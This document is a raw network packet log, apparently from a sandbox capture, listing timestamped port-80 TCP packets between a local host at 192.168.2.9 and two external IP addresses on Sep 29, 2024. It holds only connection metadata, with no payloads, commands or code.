Sep 29, 2024 00:53:24.352993011 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.352998972 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.352998972 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.352999926 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.353007078 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.353013039 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.353034973 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.353060007 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.353060007 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.353080034 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.353085995 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.353096962 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.353102922 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.353107929 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.353115082 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.353127003 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.353132963 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.353137970 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.353142023 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.353144884 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.353156090 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.353161097 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.353185892 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.353198051 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.353204966 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.353209019 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.353212118 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.353218079 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.353221893 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.353226900 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.353233099 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.353244066 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.353257895 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.353266001 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.353271961 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.353272915 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.353274107 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.353279114 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.353285074 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.353288889 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.353291988 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.353303909 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.353315115 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.353317976 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.353336096 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.353355885 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.353672981 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.353679895 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.353688955 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.353704929 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.353708982 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.353712082 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.353714943 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.353722095 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.353724957 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.353727102 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.353728056 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.353735924 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.353740931 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.353748083 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.353750944 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.353770018 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.353785038 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.353795052 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.353802919 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.353807926 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.353813887 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.353818893 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.353831053 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.353833914 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.353837013 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.353842974 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.353848934 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.353857040 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.353863001 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.353868961 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.353872061 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.353874922 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.353880882 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.353885889 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.353893995 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.353904009 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.353919983 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.353935957 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.353957891 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.353964090 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.353975058 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.353980064 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.353985071 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.353991032 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.353996038 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.354001999 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.354007006 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.354012966 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.354013920 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.354021072 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.354028940 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.354033947 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.354034901 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.354043007 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.354052067 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.354068041 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.354079962 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.354084969 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.354094028 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.354101896 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.354111910 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.354116917 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.354125023 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.354129076 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.354135036 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.354140997 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.354141951 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.354146004 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.354151964 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.354156971 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.354168892 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.354175091 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.354177952 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.354181051 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.354197025 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.354211092 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.354234934 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.354556084 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.354566097 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.354573965 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.354574919 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.354576111 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.354583025 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.354584932 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.354594946 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.354595900 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.354602098 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.354614973 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.354620934 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.354625940 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.354628086 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.354641914 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.354648113 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.354655027 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.354660988 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.354666948 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.354666948 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.354674101 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.354685068 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.354686022 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.354691982 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.354697943 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.354698896 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.354705095 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.354711056 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.354717016 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.354727983 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.354728937 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.354737997 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.354749918 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.354756117 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.354770899 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.354784966 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.354839087 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.354846001 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.354851007 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.354856014 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.354861975 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.354867935 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.354876041 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.354882002 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.354887962 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.354893923 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.354895115 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.354901075 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.354912996 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.354918003 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.354918003 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.354924917 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.354939938 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.354945898 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.354950905 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.354955912 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.354955912 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.354955912 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.354971886 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.354974985 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.354984045 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.354986906 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.354994059 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.355000019 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.355005980 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.355012894 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.355017900 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.355029106 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.355035067 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.355036020 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.355051041 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.355072975 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.355078936 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.355254889 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.355294943 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.355302095 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.355319023 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.355348110 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.355354071 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.355360985 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.355365038 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.355377913 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.355402946 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.355416059 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.356065989 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.356071949 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.356082916 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.356087923 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.356095076 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.356105089 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.356112003 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.356129885 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.356151104 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.356205940 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.356211901 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.356221914 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.356228113 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.356239080 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.356245995 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.356251001 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.356256962 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.356261969 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.356262922 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.356261969 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.356275082 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.356280088 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.356287956 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.356293917 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.356311083 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.356311083 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.356334925 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.356448889 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.356453896 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.356470108 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.356476068 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.356487036 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.356492996 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.356498957 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.356508970 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.356511116 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.356517076 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.356518030 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.356523037 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.356529951 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.356534958 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.356540918 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.356544971 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.356547117 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.356554985 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.356568098 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.356574059 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.356578112 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.356580019 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.356591940 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.356604099 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.356604099 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.356637955 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.356654882 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.356662035 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.356668949 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.356678963 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.356686115 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.356697083 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.356703043 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.356709003 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.356709003 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.356709003 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.356749058 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.357789993 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.357841969 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.357959986 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.357965946 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.357976913 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.357981920 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.357988119 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.357992887 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.358000040 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.358006001 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.358011961 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.358038902 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.358038902 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.358057976 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.358063936 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.358076096 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.358082056 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.358087063 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.358093023 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.358104944 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.358108044 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.358108044 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.358124018 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.358217955 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.358269930 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.358277082 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.358288050 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.358294010 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.358299017 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.358304024 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.358314991 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.358321905 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.358326912 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.358335972 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.358335972 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.358338118 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.358345985 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.358357906 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.358376026 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.358406067 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.358578920 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.358584881 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.358596087 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.358602047 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.358607054 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.358617067 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.358623028 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.358628988 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.358634949 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.358645916 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.358645916 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.358645916 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.358650923 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.358675003 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.358692884 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.358700991 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.358707905 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.358717918 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.358724117 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.358728886 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.358733892 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.358745098 CEST	80	49712	176.113.115.95	192.168.2.9
